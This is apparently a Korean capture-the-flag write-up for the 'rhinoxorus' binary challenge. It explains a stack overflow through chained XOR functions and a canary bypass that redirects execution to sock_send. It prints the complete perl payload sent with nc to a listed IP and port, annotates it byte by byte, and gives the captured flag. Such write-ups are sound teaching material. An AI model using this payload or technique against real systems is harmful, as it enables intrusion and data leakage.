다음과 같은 바이너리가 주어집니다.

rhinoxorus_cd2be6030fb52cbc13a48b13603b9979

※ 추후에 힌트로 추가된 소스

rhinoxorus.c


IDA로 살펴보면 함수가 굉장히 많이 있고, main() 함수에서 이 함수들을 function pointer array에 넣어주고 password.txt를 읽은 뒤 serve합니다.

목표는 password.txt에서 읽은 값을 알아내는겁니다.

serve를 하게되면 process_connection() 함수에서 256Byte를 입력받고, 입력받은 문자열의 첫번째 byte를 function pointer array의 index로 하고 첫 번째 인자를 문자열로, 두 번째 인자를 문자열 길이로해서 함수를 호출하고, 각 함수들 안에서는 함수 안의 버퍼의 크기와 인자와 XOR을 진행한 뒤 문자열의 길이를 하나씩 줄여가며 함수를 호출합니다. 문제에 대한 자세한 설명은 나중에 힌트로 소스도 주어진 만큼 생략하겠습니다.

각 함수 안에서는 우리가 입력해준 글자만큼 XOR로 덮어쓰니 buffer overflow가 일어납니다. 따라서 return address를 수정할 수 있는데, 마침 바이너리 안에 sock_send라는 함수가 있습니다. 따라서 return address를 sock_send로 바꾸고, 인자들을 sock_send(0x4 /* socket fd */, 0x805f0c0 /* password */, 0x100 /* length */); 처럼 해주면 우리한테 password의 내용이 전달됩니다.

문제는 canary 우회를 해야하고, 우리 입력값이 계속 함수로 실행되다보니 언제터질지 모른다는 점입니다.

따라서 저는 다음과같이 3단계로 구성하였습니다.

1단계: return address가 덮어씌워질 함수

2단계: buffer를 쭉 올라가서 1단계의 return address와 인자를 바꿔줌

3단계: count를 1로 바꿔서 바로 return되게 만듦

이렇게 구성하기 위해서 1단계의 버퍼는 조금 넉넉하게, 2단계와 3단계의 버퍼는 별로 없는 input을 찾아야 해서 손으로 조금 노가다를 뛰어보니 첫 2Byte가 \x35\x00이라면 func_67, func_9f, func_92가 차례대로 실행되면서 각각 버퍼의 사이즈가 0x58, 0x38, 0x04임을 확인해서 이걸로 진행하기로 하였습니다.

gdb로 봐가면서 얼마나 넣어야 버퍼의 값이 어떻게 바뀌고 하는지를 알아내는데 시간이 좀 걸렸습니다.

최종 payload를 살펴보면서 설명드리겠습니다.

(perl -e 'print "\x35\x00","\x60"x16,"\x60"x12,"\x9b\x60\x60\x60","\x58"x52,"\x00"x131,"\x58"x12,"\x00"x4,"\xb1\xe2\x01\x00","\x00"x4,"\xf8\x00\x00\x00","\xc0\xf1\x05\x08\x00\x01\x00\x00"')|nc 54.152.37.20 24242

"\x35\x00" : 실행될 3가지 함수를 지정.

"\x60"x16 : 3단계에서 func_92의 canary값에 영향을 주지 않기 위함. 이 함수에 들어가면 \x60이 상위 두 함수를 거치며 \x00으로 변해있음.

"\x60"x12 : func_92의 EBP에서 EBP+0xb까지 보존.

"\x9b\x60\x60\x60" : func_92의 두 번째 인자인 count를 1로 바꿔버림. func_92의 XOR은 여기서 멈춤.

"\x58"x52 : 2단계 func_9f의 canary와 EBP 위로 보존.

"\x00"x131 : 1단계의 func_67값들 (canary 및 EBP+@) 보존.

"\x58"x12 : 여기서부터 func_9f에서 func_67의 canary부분(func_67.EBP - 0xc)을 바꿈.

"\x00"x4 : dummy (func_67.EBP)

"\xb1\xe2\x01\x00" : func_67의 return address를 sock_send로 바꿔줌. (0x804884b = 0x08056afa(원래 있던 return address) ^ 0x1e2b1)

"\x00"x4 : dummy

"\xf8\x00\x00\x00" : sock_send의 첫 번째 인자를 4로 만들어줌 (0x4 = 0xfc(원래 있던 값(payload length)) ^ 0xf8)

\xc0\xf1\x05\x08\x00\x01\x00\x00" : sock_send의 두 번째 인자와 세 번째 인자를 각각 0x805f0c0, 0x100으로 만들어줌. (0x805f0c0 = 0x100(원래 있던 값) ^ 0x805f1c0, 0x100 = 0x0(원래 있던 값) ^ 0x100)

gdb에서 각 함수에서 XOR이 끝나고 BP를 걸고 func_67의 EBP부분을 살펴보면 func_9f에서 잘 덮어쓰는 것을 볼 수 있습니다. 또한 func_92에서 더 이상의 진행을 막기 위한 count가 1로 잘 바뀝니다.

이렇게하면 password가 잘 전송되는 것을 볼 수 있습니다.

Flag: cc21fe41b44ba70d0e6978c840698601

+ Recent posts